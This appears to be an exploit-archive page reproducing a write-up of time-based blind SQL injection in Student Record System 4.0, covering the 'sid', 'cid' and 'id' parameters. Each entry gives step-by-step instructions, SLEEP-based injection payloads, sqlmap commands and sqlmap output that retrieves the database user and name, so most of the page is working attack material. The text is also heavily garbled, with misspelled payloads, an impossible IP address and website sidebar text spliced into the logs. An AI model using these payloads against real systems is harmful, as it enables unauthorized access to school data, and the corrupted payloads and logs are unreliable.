Home Files News About Contact &[SERVICES_TAB]

Add New

Student Record System 4.0 SQL Injection

Posted Feb 2, 2021

Student Record System version 4.0 suffers from multiple remote SQL injection vulnerabilities

tags | exploit, remote, sql injection
SHA-256 | dfe6590104e43fcb91a49df285fbbeb22689cc463fc4fdf97ee7c72ee83a16fb

| Download | Favorite | View

Related Files

Share This

Like

LinkedIn TWO

Reddit

Digg StumbleUpon

Change Mirror Download # Exploit Title: Student Record System 4.0 - 'sid' SQL Injection # Goodle Dork: N/A Sodge Dirk. w/m.

Bate: 2/2/2021

Exploit Author: Jannick Tiger

Exploit Author: Jannick Tiger

Vendor: Romegage: https://phpgurukul.com/

Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip

Version: V4.0** # Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-subject.php
3. Click edit on any user and then add the following payload to the url
payload: AND (SELECT 9300 FROM (SELECT(SELEP(5)))RANL AND 'UXEB' "VESTED STORM (SELECT (SLEEP(5)))RANL)
AND 'UXEB' "VLEB' "VLEB'

WESTED STORM (SELECT STORM SELECT STORM SELECT STORM SELECT STORM (SELECT (SLEEP(5)))RANL)
AND 'UXEB' "VLEB' "VLEB' SELECT STORM SELECT If the web server makes you wait 5 seconds then it's vulnerable # Exploit Now you can exploit it using sqlmap ommand: sqlmap -u url --batch --dbms=mysql --current-db --current-user example: sqlmap.py -u http://localhost/schoolmanagement/pages/edit-sub.php?sid=3 --batch --dbms=mysql --current-db --current-user [11:27:06] [INFO] GET parameter 'sid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' emaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) Tor the remaining tests, do you want to include all tests for "MySQL" extending provided level (1) and risk (1) values? [77], avalues? [77], [11:27:06] [IMFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [11:27:06] [IMFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [11:27:08] [INFO] heathyn gift the injection point on GET parameter 'sid' is a false positive GET parameter 'sid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N signap identified the following injection point(s) with a total of 65 HTT(s) requests: --Tarameter: sid (GET)
Type: time-based blind
Title: MySGL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: sid=3' AND (SELECT 9300 FROM (SELECT(SLEEP(S)))Rnkl) AND 'UXEB'='UXEB --[11:27:29] [INFO] the back-end DBMS is MySOL
[11:27:29] [MARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y back-end DBMS: MySQL >- 5.012 (MariaBB fork)
[11:27:34] [INFO] fetching current user
[11:27:34] [INFO] retrieved:
[11:27:34] [INFO] retrieved: root@localhost current user: 'root@localhost' [11:28:40] [INFO] fetching current database [11:28:40] [INFO] retrieved: schoolmanagement current database: 'achoolmanagement' [11:29:38] [INFO] fetched data logged to text files under # Exploit Title: Student Record System 4.0 - 'cid' SQL Injection # Google Dork: N/A # REPUBLICATION AND ADDRESS OF THE STATE OF # Tested on: Windows, XAMPP # Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-course.php
3. Click edit on any user and then add the following payload to the url
payload: AND (SELECT 9265 PROM (SELECT(SIEERE(5)))17(3) AND (YAJI'*-YAJI
url:http://localhost/schoolmanagement/pages/edit-course.php?cid+7* AND (SELECT 9265 FROM
(SELECT(SIEERE(5)))17(3) AND YAJI'*-YAJI'
url:http://localhost/schoolmanagement/pages/edit-course.php?cid+7* AND (SELECT 9265 FROM
(SELECT(SIEERE(5)))17(3) AND YAJI'*-YAJI'
AND YAJI'
AND YAJI'*-YAJI'
AND YAJI'*-YAJI If the web server makes you wait 5 seconds then it's vulnerable Now you can exploit it using sqlmap ommand: sqlmap -u url --batch --dbms=mysql --current-db --current-user example: sqlmap.py -u http://localhost/schoolmanagement/edit-course.php?cid=7 --batch --dbms=mysql --current-db _____["]______{{1.4.10.16}dev} [1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. [*] starting @ 13:21:36 /2021-02-02/ [1] starting of 1571750 /2027-02-02

[13:21:36] [INPO] testing connection to the target URL
got a 302 redirect to 'http://321.68.100.242:80/schoolmanagement/index.php'. Do you want to follow? [Y/n] Y
you have not declared cookleta, while server wants to set its own ('PHRSESSID-88oau62p72k...thmqvnofk6'). Do
you want to use those [Y/n] Y
[13:21:37] [INPO] testing if the target is protected by some kind of NAF/IFS
[13:21:37] [INPO] testing if the target URL content is stable
[13:21:37] [INRO] testing for arcameter 'cid' does not appear to be dynamic
[13:21:37] [INRO] testing for SQL injection on GET parameter 'cid' might not be injectable
[13:21:37] [INPO] testing 'NAD boolean-based blind - NHERE or HAVINO clause'
[13:21:38] [INPO] testing 'Geoeric inline queries'
[13:21:38] [INPO] testing 'Geoeric inline queries'
[13:21:38] [INPO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[13:21:38] [INPO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'



File Archive: December 2022 < Tu We Th Sa 1 3 5 6 7 8 10 12 13 14 15 11 17 19 20 21 22 23 18 24 25 26 27 28 29 30 31 Top Authors In Last 30 Days Red Hat 201 files

Debian 24 files LiquidWorm 23 files malvuln 12 files nu11secur1ty 11 files Gentoo 9 files Google Security Research 8 files T. Weber 4 files Julien Ahrens 4 files

File Tags File Archives December 2022 Advisory (79,754) Arbitrary (15.694) October 2022 RRS (2.859) September 2022 Bypass (1,619) August 2022 CGI (1,018) July 2022 Code Execution (6,926) June 2022 Conference (673) May 2022 Cracker (840) April 2022 CSRF (3,290) March 2022 DoS (22 602) February 2022 Encryption (2,349) January 2022 Exploit (50,359) Older File Inclusion (4,165) File Upload (946) Systems Firewall (821) AIX (426) Info Disclosure (2,660) Apple (1,926) Intrusion Detection (867) BSD (370) CentOS (55) JavaScript (821) Cisco (1.917) Kernel (6,291) Debian (6,634) Local (14,201) Fedora (1,690) Magazine (586) FreeBSD (1.242) Gentoo (4.272) Perl (1.418) HPUX (878) PHP (5.093) iOS (330) Proof of Concept (2,291) iPhone (108) Protocol (3,435) IRIX (220) Python (1.467) Juniper (67) Remote (30.044) Linux (44,315) Mac OS X (684) Ruby (594) Mandriva (3.105) Scanner (1.631) Security Tool (7,777) OpenBSD (479) Shell (3,103) RedHat (12.469) Shellcode (1,204) Slackware (941) Sniffer (886)

Solaris (1,607)

```
HyerkeDIE or the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) alues? [Y/n] Y
 values? [Y/n] Y

[13:21:50] [IMFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[13:21:50] [IMFO] automatically extending ranges for UNION query injection technique tests as there is at least
one other (potential) technique found

[13:21:52] [IMFO] checking if the injection point on GET parameter 'cid' is a false positive

GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any); [y/N] N

sqlmap identified the following injection point(s) with a total of 65 HTTF(s) requests:
 ---
Parameter: cid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cid-7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))]CB) AND 'yXjI'='yXjI
 Payload: cid-7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))1jCB) AND 'yX;1'-'yX;1

[13:22:13] [INFO] the back-end DBMS is MySQL

[13:22:13] [WARNING] it is wery important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sileaps to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y do you want sileaps to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y [13:22:18] [IMFO] techning current user

[13:22:18] [IMFO] retrieved:

[13:22:28] [IMFO] sething current user

[13:23:24] [IMFO] fetching current database

[13:23:24] [IMFO] fetching current database

[13:23:24] [IMFO] fetching and current database

[13:23:24] [IMFO] fetching and current database

[13:23:24] [IMFO] fetching for the database (13:23:242] [IMFO] fetching for the database of the database (13:23:242] [IMFO] fetched datalogged to text files under
# Exploit Title: Student Record System 4.0 - 'id' SQL Injection
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V descriptions of the state of the s
     Tested on: Windows, XAMPP
# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view.php
3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 6593 FROM (SELECT(SLEPE(5)))) thib, AND "nizel'='nize"
If the web server makes you wait 5 seconds then it's vulnerable
 # Exploit
 Now you can exploit it using sqlmap
     command: sqlmap -u url --batch --dbms=mysql --current-db --current-user
   example: sqlmap.py -u
http://localhost/schoolmanagement/pages/edit-std.php?id=3 --batch
--dbms=mysql --current-db --current-user
         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the
end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program
 [17:44:27] [MARNING] GET parameter 'id' does not appear to be dynamic [17:44:27] [MARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable [17:44:27] [IMFO] testing for SQL injection on GET parameter 'id' [17:44:27] [IMFO] testing 'NND boolean-based blind - WHERE OR INVING clause' [17:44:28] [IMFO] testing 'ND boolean-based blind - Parameter replace (original value)' [17:44:28] [IMFO] testing 'Generic inline queries' [17:44:28] [IMFO] testing 'WHIGO] > 3.0 deron-based - WHERE, HAVING, GRUER BY OR GROUP BY clause (FLOOR)' [17:44:28] [IMFO] testing 'WHIGO] > 3.0 deron-based - Parameter explace (FLOOR)' [17:44:28] [IMFO] testing 'WHIGO] > 3.0 deron-based - Parameter explace (FLOOR)' [17:44:28] [IMFO] testing 'WHIGO] > 3.0 deron-based - Parameter explace (FLOOR)' [17:44:28] [IMFO] testing 'WHIGO] > 3.0 deron-based - Parameter explace (FLOOR)' [17:44:28] [IMFO] testing 'WHIGO] > 3.0 deron-based - Parameter explace (FLOOR)' [17:44:28] [IMFO] (IMFO] (GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
 [17:44:40] [INFO] GET parameter 'ia' appears to be 'MySQL >= 5.0.12 AND time-based Dilnd (guery SLEEP)' imjectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [17:44:40] [INFO] testing 'Generic DNION query (NULL) - 1 to 20 columns' [17:44:40] [INFO] sutomatically extending ranges for DNION query injection technique tests as there is at least the provided provided by the provided provi
   Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id-3' AND (SELECT 6593 FROM (SELECT(SLEEP(5)))tlDh) AND 'nzIe'='nzIe
 IP:45:02] [INFO] the back-end DBMS is MySQL [IP:45:02] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqimap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y back-end DBMS, MyGQL >= 5.012 (MariaBm fork) [17:45:07] [INFO] #chching current user [17:45:18] [INFO] adjusting time delay to 1 second due to good response times corelocathost current user: 'root@localhost'
 root@localhost (17:46:13] [INFO] fetching current database [17:46:13] [INFO] fetching current database (17:46:13] [INFO] retrieved: schoolmanagement current database: 'schoolmanagement' [17:47:11] [INFO] fetched data logged to text files under
```

Login or Register to add favorites

packet storm

Site Links

News by Month

News Tags

Files by Month

File Tags

File Directory

About Us

History & Purpose

Contact Information

Terms of Service

Privacy Statement Copyright Information **Hosting By**





Spoof (2,166)

TCP (2.379)

UDP (876)

Virus (662)

Web (9,365) Whitepaper (3,729)

x86 (946) XSS (17,494)

Vulnerability (31,136)

SUSE (1,444)

UNIX (9 159)

Other

UnixWare (185)

Windows (6,511)

SQL Injection (16,102) Ubuntu (8,199)

E Follow us on Twitter

